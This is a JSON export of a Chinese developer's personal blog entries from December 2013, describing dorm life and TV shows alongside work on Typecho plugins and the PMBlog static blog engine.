我反而不是很喜欢天天呢。主要原因是他在海岛小伙伴寻宝给我的感觉太差了。看来男神以后的路还有很长啊，哎！\n冬至到，吃水饺。中午也跟风和宋哥两人去三楼吃了个水饺。别说人还真是多，排着队买饺子的人比比皆是，看来北方这方面过的还是比较隆重的。昨天古哥推荐我们来这家，味道感觉还可以，价钱也比较实惠。每次吃饺子的时候总是会回忆起小学的时候，一群小伙伴补习完回家的路上吃一碗两块钱（没错我就是来吐槽当今的物价的）的水饺，那种感觉特别温馨。回忆起当时的味道，虽然是淡淡的，但一种非常香甜可口的感觉一直萦绕在我的脑海中，回味无穷。\n今天下定决心，花了一天的时间先研究了一地啊@defe 之前写的CommetToMail插件，然后就一直在捣鼓我之前写的At插件了。之前只是简单的用At.js实现了列表@的功能。随着群众的欲望无限膨胀，邮件通知的功能的需求越来越强烈。之前稍微看了一眼CommentToMail插件，有点懵里懵懂，所以对新功能的增加就有点望而却步。这回一不做二不休努力赶工总算是做出来了。刚把代码放线上测试的时候还有各种小问题，不过也慢慢都解决了。看明天如果没什么大BUG的话我就把代码放出来进行大面积测试吧。\n","count":697,"date":"2013年12月22日","featuredImage":null,"permalink":"https://imnerd.org/dong-zhi-ye-zai-ma-dai-ma.html","summary":"\u003cp\u003e昨天晚上不知道是不是因为冬至的原因，大家都表现的异常的兴奋，快两点了大家都还没上传睡觉。因为昨天下午睡了挺久了，把这个礼拜的《爸爸去哪》看完了才滚床上睡觉去了。总觉得林志颖被导演故意演成了黑脸，不过是越来越喜欢kimi那随时都能脱线的神经了。不过说到脱线，另外一个王者就是Angela了，哈哈，做游戏的时候那脱线的表情简直就在想象吃大餐的感觉有没有！虽然男神张亮我是比较欣赏的啦，不过相比较之下我反而不是很喜欢天天呢。主要原因是他在海岛小伙伴寻宝给我的感觉太差了。看来男神以后的路还有很长啊，哎！\u003c/p\u003e","time":2,"title":"冬至也在码代码"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"震惊今天是礼拜六的我，今天做出的最大反应就是一天没去工作室了。昨天晚上王哥打呼噜我过去把他叫醒了之后，意外的今天睡的还不错。不知道是他晚上没打了还是我的火气得到了发泄，总之就是一觉睡到了大天亮，醒来就是九点多了。睡的虽然好了点，可是脖子的问题还是没有得到解决，算上今天已经是第三天了，哎！\n本来中午收拾收拾就准备去吃饭的，结果小空来个消息求帮忙。原来是要帮他的高中妹子做考题来着。为了小空的妹子，咱只能悻悻的把刚关的电脑又打开来了。不过小空也真能找人，让我一个PHPer去做C的题，好不让人尴尬。做题过程中被数据类型给虐了千百遍，好不容易做出来一题结果一看人都快做完了，小有尴尬啊！本来就已经挺注意数据类型的问题了，结果还是出现各种各样的问题，真是让人措手不及。每当这个时候我都在想其实弱语言的PHP也没啥不好的，哼哼！做完题去吃饭就发现食堂依然关门了，只能上三楼风味美食吃了。要了个两菜的盖饭，味道真是意外的好啊！只是有点小贵，看来可以偶尔来吃吃改善改善伙食。\n花了点时间研究了一下Pagedown编辑器，想找一下官方一点的插入按钮的方法，结果看了半天，发现官方完全就没有这方面的支持啊！真坑爹，浪费了我这么多时间有么有！带着一身怨气又去更新PMBlog去了，把Archive插件给更新了一下，输出Archive内容，布局样式什么的都放到主题交给用户去。顺带学习了一下Twig如何自定义Fliter和Function，顺带赞一下Twig的文档，非常简单易懂有么有！\n","count":631,"date":"2013年12月21日","featuredImage":null,"permalink":"https://imnerd.org/zheng-ge-ren-dou-bie-cai-le.html","summary":"\u003cp\u003e震惊今天是礼拜六的我，今天做出的最大反应就是一天没去工作室了。昨天晚上王哥打呼噜我过去把他叫醒了之后，意外的今天睡的还不错。不知道是他晚上没打了还是我的火气得到了发泄，总之就是一觉睡到了大天亮，醒来就是九点多了。睡的虽然好了点，可是脖子的问题还是没有得到解决，算上今天已经是第三天了，哎！\u003c/p\u003e","time":2,"title":"整个人都憋菜了"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"不知道是不是老天不管网上的事情还是怎么着，反正就是昨天的最后一句没有实现，今天还是继续头疼呢。昨天是低头特别疼，今天低头是没事了，但是抬头又开始疼了，真真是磨人啊！晚上的时候突然发现今天周五了，都惊讶了都！我还一直以为今天是周三呢，哈哈，真是过日子过的浑浑噩噩还全然不知。\n早上五点多又被王哥的呼噜给吵醒了，本来就脖子疼还睡不好真的好想发火啊！快六点的时候蒙哥也被吵醒了，下了床准备把王哥叫醒的。结果走到他床铺边呼噜声噌的就没了，蒙哥就回自己床上去了。可没想蒙哥这刚踏上床铺呢，这呼噜声立马就噌的响起来了！你说这让不让人恼火！\n睡着的时候用呼噜声烦我们，醒着的时候也不让我们好过。晚上去洗澡结果把东西落在浴室了又得跑一趟。想着反正是多跑一趟就问问谁要买吃的帮他们买去。王哥之前在看甘哥打DOTA呢，噌的就接了一句“我要吃”，然后就没下文了。你要吃我还得付钱跑腿伺候你吃？！过了一会儿又说要不你打水吧。我当时听着立马火就上来了，平常自己要洗脚从来都不打水（其实也没有从来反正很少很少，相对于我们打的），这会儿都闲着无聊看别人玩了都还好意思让我去打水？我打尿给你呢！FUCK！！！\n总的感觉就是这个学期太不爽了，各种事情令人烦躁，是不是我的本命年给提前了呢？\n","count":524,"date":"2013年12月20日","featuredImage":null,"permalink":"https://imnerd.org/qi-yuan-shi-bai-bo-zi-hai-shi-hen-teng.html","summary":"\u003cp\u003e不知道是不是老天不管网上的事情还是怎么着，反正就是昨天的最后一句没有实现，今天还是继续头疼呢。昨天是低头特别疼，今天低头是没事了，但是抬头又开始疼了，真真是磨人啊！晚上的时候突然发现今天周五了，都惊讶了都！我还一直以为今天是周三呢，哈哈，真是过日子过的浑浑噩噩还全然不知。\u003c/p\u003e","time":2,"title":"祈愿失败脖子还是很疼"},{"comments":{"data":[15],"errmsg":"","errno":0},"contents":"昨天晚上P酱看我写的PMBLOG走火入魔，一直和我讨论到深夜两点钟左右，然后果断早上上班就迟到了，哈哈哈哈，先让我笑两声四声。首先怎么说呢，我是很高兴的啦，毕竟自己的东西得到别人这么大的肯定，作为AUTHOR的我怎么能不高兴呢。就在我们畅谈了很久之后我突然灵机一动，要不把P酱拉进来帮忙一块写写插件啊主题啊什么的吧，正在激情之中的P酱也表示没什么意见，就这么成功拉P酱进坑了！不得不说多了一个人就是不一样，很多我没想到的细节方面P酱都帮我指出来了，而且第一天就非常给力的写了个插件出来有么有，好给力的说！\n不知道是不是昨天没睡好的原因，今天脖子各种疼啊。感觉整个人都不好了有木有，做什么事都提不大起劲来，好烦躁哇！搞得我今天整个人都蔫蔫的，哎！下午蒙哥的红米到货啦，看了下感觉还不错的说，以及跟随红米一块到的还有古哥高端大气上档次，____杀马特的小米土豪金耳机也到货了，看了下真心是不忍吐槽啊。\n最后希望自己明天脖子能好起来以及合伙人P酱能各种发力，哈哈哈哈！以上！\n","count":432,"date":"2013年12月19日","featuredImage":null,"permalink":"https://imnerd.org/he-huo-ren-fa-li.html","summary":"\u003cp\u003e昨天晚上P酱看我写的\u003ca href=\"http://github.com/lizheming/PMBlog\"\u003ePMBLOG\u003c/a\u003e走火入魔，一直和我讨论到深夜两点钟左右，然后果断早上上班就迟到了，哈哈哈哈，先让我笑\u003cdel\u003e两声\u003c/del\u003e四声。首先怎么说呢，我是很高兴的啦，毕竟自己的东西得到别人这么大的肯定，作为AUTHOR的我怎么能不高兴呢。就在我们畅谈了很久之后我突然灵机一动，要不把P酱拉进来帮忙一块写写插件啊主题啊什么的吧，正在激情之中的P酱也表示没什么意见，就这么成功拉P酱进坑了！不得不说多了一个人就是不一样，很多我没想到的细节方面P酱都帮我指出来了，而且第一天就非常给力的写了个插件出来有么有，好给力的说！\u003c/p\u003e\n\u003cp\u003e不知道是不是昨天没睡好的原因，今天脖子各种疼啊。感觉整个人都不好了有木有，做什么事都提不大起劲来，好烦躁哇！搞得我今天整个人都蔫蔫的，哎！下午蒙哥的红米到货啦，看了下感觉还不错的说，以及跟随红米一块到的还有古哥高端大气上档次，____杀马特的小米土豪金耳机也到货了，看了下真心是不忍吐槽啊。\u003c/p\u003e","time":1,"title":"合伙人发力"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"嗯，总的来说就是昨天P酱说重做系统然后说了一下Win8.1相对来说有很大的提升。在听了P酱的诱导之后我也忍不住开始琢磨起这事情来了。总的来说Win8在我脑海中的印象还是Win8刚发布时候的Preview版，因为Metro的原因感觉有很大的不习惯，而且由于破解的原因我就迟迟没有观察过Win8了。另外一个比较重要的原因是目前使用的这套Win7是我在校园先锋上花了199元买的，虽然说相较于个人版的四位数的价钱这简直算是零头，但是我个人还是有点舍不得就这么把它扔了呢。虽然这种批量KEY的话可能有人会说不稀罕啦，但是我是真的花钱支持了Windows的正版行动呢T_T。\n本来是要在虚拟机中安装试用一下的，结果P酱教了我更高级的一招——VHD安装。总的来说就是类似Wubi一样建了一个VHD虚拟文件当做是系统盘，然后启动项设置这个虚拟文件启动就好了。个人一直是比较喜欢Wubi这种类型的虚拟方式的，一来是双系统弄起来方便和谐，二来是比单纯的虚拟能支配更多的硬件配置。后来反正就是尝试了一下，过程也比较轻松，这里就不多做讲述了。装上之后感觉Win8比我的印象的话也没太多的改变，默认的输入法不错，自带的PowerShell不错，整体占用资源好像少了点，默认安装的驱动也多了，都不用我去安装显卡驱动了。不过我个人官方驱动洁癖还是下了一个显卡驱动装上就是了。不过对于刚刚转换过去的我来说，还是稍显得有点生疏呢，还是多多习惯几天再说吧~\n刚才照着P酱的话终于把一个月前下载的传说中的QQ数据库给成功导入到MSSQL里面了，结果往里头一看…尼玛，QQ群这边只有QQ群号和QQ群简介的信息，QQ成员这边只有QQ昵称，年龄性别群号这类信息，一点个人的信息都么有啊！这到底是要闹哪样啊！\n","count":730,"date":"2013年12月18日","featuredImage":null,"permalink":"https://imnerd.org/chang-shi-le-yi-xia-win8.html","summary":"\u003cp\u003e嗯，总的来说就是昨天P酱说重做系统然后说了一下Win8.1相对来说有很大的提升。在听了P酱的诱导之后我也忍不住开始琢磨起这事情来了。总的来说Win8在我脑海中的印象还是Win8刚发布时候的Preview版，因为Metro的原因感觉有很大的不习惯，而且由于破解的原因我就迟迟没有观察过Win8了。另外一个比较重要的原因是目前使用的这套Win7是我在校园先锋上花了199元买的，虽然说相较于个人版的四位数的价钱这简直算是零头，但是我个人还是有点舍不得就这么把它扔了呢。虽然这种批量KEY的话可能有人会说不稀罕啦，但是我是真的花钱支持了Windows的正版行动呢T_T。\u003c/p\u003e","time":2,"title":"尝试了一下Win8"},{"comments":{"data":[12],"errmsg":"","errno":0},"contents":" 又到了一年几度，一个礼拜一次的抢小米活动了。昨天古哥就通知我让我预约好做好准备的。上个礼拜我也提前在冰剑大哥那预约了一个让他帮我抢一个（传说中的一抢一个准的神啊）的。到十二点的时候，跟平常一样，即使我准备工作再丰富也还是一样悲剧的没有抢到。冰剑抢到的时候跟我说简直犹如福音降临有木有，我赶忙就给蒙哥说了一声。等我说不是我抢到的，是网友抢到的，蒙哥就问了一句“靠谱么”。我当时的第一反应是“这有什么不靠谱的？”，第二反应就是“怎么会不靠谱”！虽然最后还是完美的交易了，不过跟之前的一些经历对比，引发了我的深思，为什么我这么容易相信我的网友？\n我看大家都对网上的交易都非常的小心翼翼，有时候让我都觉得费解。我和Jclyn经常钱转来转去，也经常拖别人买票买东西什么的，虽然从来都没考虑过信任问题，不过意外的事情一次也没有发生就是。我也经常在v2ex上收购一些二手产品，卖家基本上是我打钱过去了后来才发货，对此我也没表示有丝毫的不满，也没有什么忧虑，就像是正常的操作一样的进行着，最后也总能安然收到货。到底是什么原因让“网友”这个词带有“不信任”的色彩了呢？\n仔细思考一下，我发现我所接触的所谓的网友，已经不是原本意义上的网友了，而是我身边朋友一般的存在。我认识的网友要么是博客之间认识的，要么是写代码认识的，请求帮忙或者被请求帮忙的网友也基本上都是聊了不止一次两次的（一年两年也也不是没有）存在。博客就是给人一种非常信任的感觉，能了解到对方的生活，知道他，间接地我们就开始信任他了。在v2ex中能够互相信任，我想最主要的原因还是基于v2ex这种小众的带有个人主义色彩的平台吧，这个平台是值得让人信任的，并且平台上的人也是值得让人信任的。\n渐渐地，我也慢慢接受了这个观点，不是我容易相信网友，而是我信任的“网友”，都是我的朋友，朋友之间还有什么能不信任的呢？\n","count":772,"date":"2013年12月17日","featuredImage":null,"permalink":"https://imnerd.org/wei-shen-me-wo-zhe-me-rong-yi-xin-ren.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#375867\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e又到了一年几度，一个礼拜一次的抢小米活动了。昨天古哥就通知我让我预约好做好准备的。上个礼拜我也提前在冰剑大哥那预约了一个让他帮我抢一个（传说中的一抢一个准的神啊）的。到十二点的时候，跟平常一样，即使我准备工作再丰富也还是一样悲剧的没有抢到。冰剑抢到的时候跟我说简直犹如福音降临有木有，我赶忙就给蒙哥说了一声。等我说不是我抢到的，是网友抢到的，蒙哥就问了一句“靠谱么”。我当时的第一反应是“这有什么不靠谱的？”，第二反应就是“怎么会不靠谱”！虽然最后还是完美的交易了，不过跟之前的一些经历对比，引发了我的深思，为什么我这么容易相信我的网友？\u003c/p\u003e","time":2,"title":"为什么我这么容易信任"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":"唔，昨儿个又没写日志，好尴尬。主要原因是昨天回来没带鼠标，啥事也干不了了，看了点小说就草草的睡了。昨儿个给Typecho写了一个@插件，感觉还挺不错的，下面考虑参考一下CommentToMail插件增加邮件通知功能，呵呵真是超级恶心的黑魔法啊（参考牧风大大的说法）！\n今儿个大家一起去吃羊蝎子了。意外的是居然不膻，让我这种怕膻而讨厌吃羊肉的孩子高兴坏啦！哈哈！感觉还不错的说。晚上顺带给PMBlog写了一个在线编辑器插件，在也不用愁写博客的问题啦，嘿嘿，一键保存更新，妈妈再也不用担心我的博客啦！\n","count":247,"date":"2013年12月15日","featuredImage":null,"permalink":"https://imnerd.org/lian-pi-mei-xia-xian-de-ren-shi-cun-zai-de.html","summary":"\u003cp\u003e唔，昨儿个又没写日志，好尴尬。主要原因是昨天回来没带鼠标，啥事也干不了了，看了点小说就草草的睡了。昨儿个给Typecho写了一个@插件，感觉还挺不错的，下面考虑参考一下CommentToMail插件增加邮件通知功能，呵呵真是超级恶心的黑魔法啊（参考牧风大大的说法）！\u003c/p\u003e","time":1,"title":"脸皮没下限的人是真存在的"},{"comments":{"data":[147],"errmsg":"","errno":0},"contents":"在各大微博网站中习惯了@ 这个功能之后，发现它真是越来越方便了呢。连QQ都开始支持@ 功能的今天，Typecho居然不支持这么快捷的功能也太不潮啦。不过装上At插件之后一切就没有问题啦，立马就Fashion起来了有木有。\n这款软件的基本作用是能让你：\n在评论中方便的@ 和链接页面中的其它评论 同时支持点击回复按钮评论框增加@被回复评论的用户名 被@的人会收到邮件通知（传说中的究极暗黑召唤术，慎用！） 更多功能还在开发中\u0026hellip; 具体效果见下图：\n插件更新至0.1.0版，增加了对@人邮件通知的功能（需要在后台填写相关设置）。因为功能涵盖关系，最好不要和CommentToMail插件同时使用，会导致发送多次邮件的情况出现。另外，邮件模板中可以使用的变量见下表：\n变量名 代表内容 说明 {site} 博客站点名称 在博客后台设置中设定的 {title} 评论文章标题 {author} 作者名称 {mail} 评论者的邮箱 {permalink} 评论链接 {text} 发评论的正文 {time} 发布评论时间 {author_m} 被提及的用户名称 {text_m} 被提及的用户评论 插件更新至0.1.1版，修复插件因为评论特殊字符造成的BUG。\n下载地址：BOX | 百度云\n","count":452,"date":"2013年12月14日","featuredImage":null,"permalink":"https://imnerd.org/at-plugin-for-typecho.html","summary":"\u003cp\u003e在各大微博网站中习惯了@ 这个功能之后，发现它真是越来越方便了呢。连QQ都开始支持@ 功能的今天，Typecho居然不支持这么快捷的功能也太不潮啦。不过装上At插件之后一切就没有问题啦，立马就Fashion起来了有木有。\u003c/p\u003e","time":1,"title":"评论@插件 - At 0.1.1 For Typecho 0.9"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"哈哈，本来昨天晚上回来要写日志的，结果蓝冰发消息过来让帮改下Typecho的一些东西，主要是更换主题评论中的头像地址以及回复评论框的位置。由于Gravatar常年访问很蛋疼，所以蓝冰他自己就做了gravatar.com的反代理，需要我将网址替换成他代理后的网址。嘛，前半部分讲什么我是不太清楚啦，不过最后一句我可是看懂了嘛，不就是要替换头像地址么，分分钟的是事好么！首先需要在主题的function.php中定义好自己的评论样式threadComment()，这样我们就能对评论部分进行自定义了。然后不用官方自带的获取头像的函数自己写一个进行替换就OK了。本来想发一下代码的，发的时候才发现好像昨天就被我给删掉了呢，哎！\n另外一个就是修改评论框的位置，这个其实也非常简单，通过观察代码你可以发现每个评论标签都会带有一个关键ID就是comment-id这种形式的属性值，如果不带有这个的话官方的一些js交互效果就没办法实现了。而且点击回复评论框的位置也总是在comment-id这个DOM的父DOM之后的，所以只要更改comment-id这个属性的位置就能达到更改回复评论框位置的效果啦。\n哈哈，分分钟把蓝冰是事情解决了之后意外的从他那拿到了一个新的SSH账号，哈哈感觉很划得来的说。不过话说其实我基本上都不怎么有翻墙的需求的，不过以备不时之需，嘿嘿！\n今天也感觉人生比较顺利，首先是师门元旦聚餐改成每人一百的过节费，让大家好生高兴了一番。毕竟还是有钱好啊，你懂的！(^o^)/~ 然后是在SegmentFault上的回答接连被人赞了，声望也在上升着，感觉自己的技能终于有所提升了，很高兴！剖面的赤平投影也基本输完了，又可以下一步计划了，好开心！前几天升级Gitlab失败导致这几天网站一直在宕机状态中，今天再次升级试了一下居然又成功了，好欣喜！本来还有一件事情的，突然想不起来了，囧！总而言之就是今天过的还算是顺利，一切OK!哈哈！\n","count":812,"date":"2013年12月13日","featuredImage":null,"permalink":"https://imnerd.org/ge-ren-gan-jue-liang-hao.html","summary":"\u003cp\u003e哈哈，本来昨天晚上回来要写日志的，结果蓝冰发消息过来让帮改下Typecho的一些东西，主要是更换主题评论中的头像地址以及回复评论框的位置。由于Gravatar常年访问很蛋疼，所以蓝冰他自己就做了\u003ccode\u003egravatar.com\u003c/code\u003e的反代理，需要我将网址替换成他代理后的网址。嘛，前半部分讲什么我是不太清楚啦，不过最后一句我可是看懂了嘛，不就是要替换头像地址么，分分钟的是事好么！首先需要在主题的\u003ccode\u003efunction.php\u003c/code\u003e中定义好自己的评论样式\u003ccode\u003ethreadComment()\u003c/code\u003e，这样我们就能对评论部分进行自定义了。然后不用官方自带的获取头像的函数自己写一个进行替换就OK了。本来想发一下代码的，发的时候才发现好像昨天就被我给删掉了呢，哎！\u003c/p\u003e","time":2,"title":"个人感觉良好"},{"comments":{"data":[12],"errmsg":"","errno":0},"contents":"哈哈，昨天夏姐姐的同学给订到场了，然后人家又不去，结果我们就毫不犹豫的把坑给占了，嘿嘿！今天下午去打了一下，好久没打了感觉各种不给力啊有木有，真心感觉一个小时太短了应该再来一个小时的！虽然我连续打了4天的电话都没有订到场，不过之后我还是会继续努力的！\n晚上把《地心引力》看完了，最后没办法，还是快进式的看完了，其实我个人是很吐槽快进看电影的。不过这剧情我着实不是很想吐槽，感觉可以评一个最省演员奖，哈哈！而且这电影估计也就是去看3D效果吧，所以我这偷偷下载下来在自己的破本子上看能看得出P看点出来？！哎，默默的三颗星飘过。\n","count":260,"date":"2013年12月11日","featuredImage":null,"permalink":"https://imnerd.org/da-yu-mao-qiu-le.html","summary":"\u003cp\u003e哈哈，昨天夏姐姐的同学给订到场了，然后人家又不去，结果我们就毫不犹豫的把坑给占了，嘿嘿！今天下午去打了一下，好久没打了感觉各种不给力啊有木有，真心感觉一个小时太短了应该再来一个小时的！虽然我连续打了4天的电话都没有订到场，不过之后我还是会继续努力的！\u003c/p\u003e","time":1,"title":"打羽毛球了"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":"昨天因为主机更换IP，而且也忘了就没更新日志了。不过我目前能保证到这种跟新频率已经说的上是非常牛逼了。希望我能继续保持吧！\n昨天帮@Jclyn 把PMBlog升级到了目前的最新版。因为她之前很蛋疼的重装过一次系统，然后很蛋疼的没有备份本地的PHP环境，然后所有的程序都被清空了，连带着原来的博客。好在没做什么更新，让她把之前WP的数据发过来重新转换了一下人工补上她新加的日志就好了。主题什么的人肉又重新给她扒了一遍，因为是第二次写了，感觉代码规范了很多，起码缩进做的非常整齐了就是。之前她都不是很习惯Git的方式更新，所以这回我把她博客给搬到我的主机上来了，这样更新就方便了一点。之前一些奇葩的需求（比如随机日志和dewplayer音乐格式解析）由于新版的大幅度更新也已经能很好的用正常方法做到了。\n今天白天去帮夏师姐干活去了。干什么活？照片分类！给成千上万的照片按照学号专业学历给排上顺序并贴上标签纸。开始有一摞照片照片也没顺序，名单上也没顺序，基本上全靠手工搜索，真是蛋疼死了。后来来的一份大概有两千多张的就比较好了，名单和照片基本上都排好序了，做起来就比较轻松了。看人照片最有意思的就是看人名字了，各种奇葩名字都有，让人忍俊不禁啊。有一个印象特别深，叫“钱钟忆情”，我们都猜测可能是她爸姓钱，她妈姓钟，回忆当初的爱情的意思，哈哈！还碰上个和木哥同名的，和木哥老乡（好）同名的，真是太搞笑啦！\n","count":595,"date":"2013年12月10日","featuredImage":null,"permalink":"https://imnerd.org/ri-yue-ji-qian-ren.html","summary":"\u003cp\u003e昨天因为主机更换IP，而且也忘了就没更新日志了。不过我目前能保证到这种跟新频率已经说的上是非常牛逼了。希望我能继续保持吧！\u003c/p\u003e\n\u003cp\u003e昨天帮@Jclyn 把PMBlog升级到了目前的最新版。因为她之前很蛋疼的重装过一次系统，然后很蛋疼的没有备份本地的PHP环境，然后所有的程序都被清空了，连带着原来的博客。好在没做什么更新，让她把之前WP的数据发过来重新转换了一下人工补上她新加的日志就好了。主题什么的人肉又重新给她扒了一遍，因为是第二次写了，感觉代码规范了很多，起码缩进做的非常整齐了就是。之前她都不是很习惯Git的方式更新，所以这回我把她博客给搬到我的主机上来了，这样更新就方便了一点。之前一些奇葩的需求（比如随机日志和dewplayer音乐格式解析）由于新版的大幅度更新也已经能很好的用正常方法做到了。\u003c/p\u003e","time":2,"title":"日阅几千人"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"今天起来之后一点力气也没有，什么事情也不想干。想写代码又不知道写什么，顺手就补完了一下PMBlog的WIKI，上传一个Plugins分支。继续看《爸爸去哪里》，终于看到王岳伦经典的\u0026quot;4块和4块5的故事\u0026quot;，只在故事上看到的剧情居然在现实中发生了真是吐槽无力啊。\n无聊的时候突发奇想做了一会儿ACM的题，发现这题目就没考过程序完全考你的智商啊。根据它非常有“意思”的题目理解出题目想要问什么之后基本上只要一两句代码就能搞定了。汗！真是为自己的智商捉急啊！\n本以为今天就这么无聊的度过的时候，晚上居然来了一通电话。显示的是广东东莞的，我就纳闷是谁呢。开始没接着我还打回去了。一来就是一口广东话，我就更郁闷了，完全不认识这种口音的人啊。然后下面就是经典的骗子桥段，装着和我很亲热，逼我说出个人名来。可是你要骗人敢不敢把普通话学好了再过来啊，一口广东味我想帮你也帮不了啊，因为我丫根本就没这口音的同学啊，认识的几个广东的口音也都很正常好不好。结果没来几句就急急忙忙的把电话给挂了，我就笑而不语了。二哥跟我说我应该调戏一下他的，果然我还是太老实了么←_←！\n","count":480,"date":"2013年12月08日","featuredImage":null,"permalink":"https://imnerd.org/wu-liao-de-yi-tian.html","summary":"\u003cp\u003e今天起来之后一点力气也没有，什么事情也不想干。想写代码又不知道写什么，顺手就补完了一下\u003ccode\u003ePMBlog\u003c/code\u003e的WIKI，上传一个\u003ccode\u003ePlugins\u003c/code\u003e分支。继续看《爸爸去哪里》，终于看到王岳伦经典的\u0026quot;4块和4块5的故事\u0026quot;，只在故事上看到的剧情居然在现实中发生了真是吐槽无力啊。\u003c/p\u003e","time":1,"title":"无聊的一天"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 难得的周六，依旧是生活中从来没上午。下午跑到办公室来也不是很想做事，写了会儿代码也不是很有激情。干脆就把昨天下的电影拿出来看了。《极乐空间》和《横道世之介》，前一部是最近出的（其实也挺久了）但是一直懒得看，后一部是军军说挺不错的。正好中间好像是腾讯弹窗《爸爸去哪儿》的新一期了吧（大概），就手贱点进去看了一下。先声明一下，之前我还没有看过《爸爸去哪儿》，只是听他们说非常搞笑。进去看了之后就停不下来了，一个下午一直在那里笑啊！哈哈！看一会《爸爸去哪儿》，笑不住的时候又切回《极乐空间》。一个那么血腥暴力，一个那么亲子欢乐，搞得木哥下午一直在说我神经病，哈哈！可是真的不能怪我，真的很搞笑啊！\n《横道世之介》是晚上看的，日剧的风格比较浓重，果然是军军的口味，嘿嘿！整片都是平平淡淡的，通过一个一个的朋友和恋人的回忆，拼接起了横道世之介短暂的一生。他的普通在于他出现的普通，也在于他消失的普通。他的强大在于“当你死后，朋友回忆起你来时，应该都会笑着的吧”，虽然大家已经不记得他长什么模样，他的生活琐事，但是大家都还记得，他是一个开朗的人，是个爱笑的人，是一个把快乐传染给大家的开朗的小伙子。\n","count":492,"date":"2013年12月07日","featuredImage":null,"permalink":"https://imnerd.org/ba-ba-zai-na-li.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#1772245372\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e难得的周六，依旧是生活中从来没上午。下午跑到办公室来也不是很想做事，写了会儿代码也不是很有激情。干脆就把昨天下的电影拿出来看了。《极乐空间》和《横道世之介》，前一部是最近出的（其实也挺久了）但是一直懒得看，后一部是军军说挺不错的。正好中间好像是腾讯弹窗《爸爸去哪儿》的新一期了吧（大概），就手贱点进去看了一下。先声明一下，之前我还没有看过《爸爸去哪儿》，只是听他们说非常搞笑。进去看了之后就停不下来了，一个下午一直在那里笑啊！哈哈！看一会《爸爸去哪儿》，笑不住的时候又切回《极乐空间》。一个那么血腥暴力，一个那么亲子欢乐，搞得木哥下午一直在说我神经病，哈哈！可是真的不能怪我，真的很搞笑啊！\u003c/p\u003e","time":1,"title":"爸爸去哪儿"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 之前写的一个静态博客程序PMBlog，在参考了Pico程序之后又重写了一遍（大概是第五次重写了吧），主要是增加插件机制功能。重写过程很顺利，把一些复杂功能剥离出来后只留下了简单的生成文章和导航功能。然后把剥离出来的功能以插件的形式实现起来。一切似乎都进行的非常完美，除了一个标签生成插件。很奇怪的是标签插件一起用之后生成博客的时间会骤然变长，看了一遍代码也没发现问题，百思不得其解后只要暂时放弃了。\n等我今天（确切说是昨天晚上）再拿出来看的时候，意外的发现居然是一个接口写错掉了，我写到了循环内的接口去了。这样做直接导致了生成时间的指数级升高。将插件内的接口修改正常后生成时间就变得正常了。迫不及待地让飘云帮我测试了一下之后就把代码更新上传到Github上发布了。\n总的来说，每次重写的代码都是在进步的。这次重写的代码我也非常喜欢，功能强大不说，最重要的是显得非常的整洁，一点都没有之前的那么Dirty。这里都要非常感谢Pico，没有Pico的代码加以参考，我是不会写出这么好的代码的。虽然说这次用到了类，不过总的来说其实还是没发现怎么更好的写出类来的方法呢！我想以后除了修改接口和修改BUG我应该是不会再重写程序了吧，毕竟主题和插件机制都算是完美了。\n下午让蓝冰帮我测试PMBlog的时候，他问我有没有新版Typecho的高亮插件。正好之前因为官方的GoogleCodePrettify插件很难用，我就自己重新写了一个，于是就给他传了过去。结果下午的时候往论坛一看就囧了！70大大居然正好这个时候更新了一个高亮插件，真是心有灵犀一点通的感觉啊。于是我就想是不是我也要把代码整理一下发出来呢？心动不如行动，把代码整理了一下，增删改减了一些功能就发布出来了。帖子内容格式都基本按着70大大的帖子来的，有种顶风作案的赶脚，哈哈！为了在气势上不输给 70大大的插件，呼叫了一下群里的众多基友帮我顶了一下帖子，大家果然给力的说！\n怎么说呢，有一种感觉就是：写代码的时候，时间过的真是快啊！\n","count":835,"date":"2013年12月06日","featuredImage":null,"permalink":"https://imnerd.org/dai-ma-jun-chong-xian-jiang-hu.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#1772130322\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e之前写的一个静态博客程序\u003ccode\u003ePMBlog\u003c/code\u003e，在参考了\u003ccode\u003ePico\u003c/code\u003e程序之后又重写了一遍（大概是第五次重写了吧），主要是增加插件机制功能。重写过程很顺利，把一些复杂功能剥离出来后只留下了简单的生成文章和导航功能。然后把剥离出来的功能以插件的形式实现起来。一切似乎都进行的非常完美，除了一个标签生成插件。很奇怪的是标签插件一起用之后生成博客的时间会骤然变长，看了一遍代码也没发现问题，百思不得其解后只要暂时放弃了。\u003c/p\u003e","time":2,"title":"代码君重现江湖"},{"comments":{"data":[55],"errmsg":"","errno":0},"contents":"\r代码高亮里面我个人比较偏爱Google Code Prettify这款，主要是比较喜欢它的样式，而且加载也非常的简单。由于更新了新版本，70大大写的Google Code Pretty插件使用起来就好像有点不太正常了。所以我根据自己的习惯重新写了这款插件，也叫Google Code Pretty，但是版本号升级成了2.0.0，希望不跟大大的重了吧。\n如何使用？ Google Code Prettify是JavaScript前台渲染高亮插件，基本不占用后台资源。\n启用插件之后选择一款你们喜欢的样式就算启用成功了。\n插件自带5款样式，虽然不像某插件自带三十多款样式，不过也基本算满足一些人的需求了。\n后台设置同时非常温馨的自带了自定义CSS设置，如果对当前高亮样式不满意，可以在自定义CSS内DIY自己想要的样式。\n效果预览 下载地址：BOX | 百度云 | 微盘 | OneDrive\n","count":349,"date":"2013年12月06日","featuredImage":null,"permalink":"https://imnerd.org/google-code-prettify-plugin-for-typecho-0-9.html","summary":"\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" 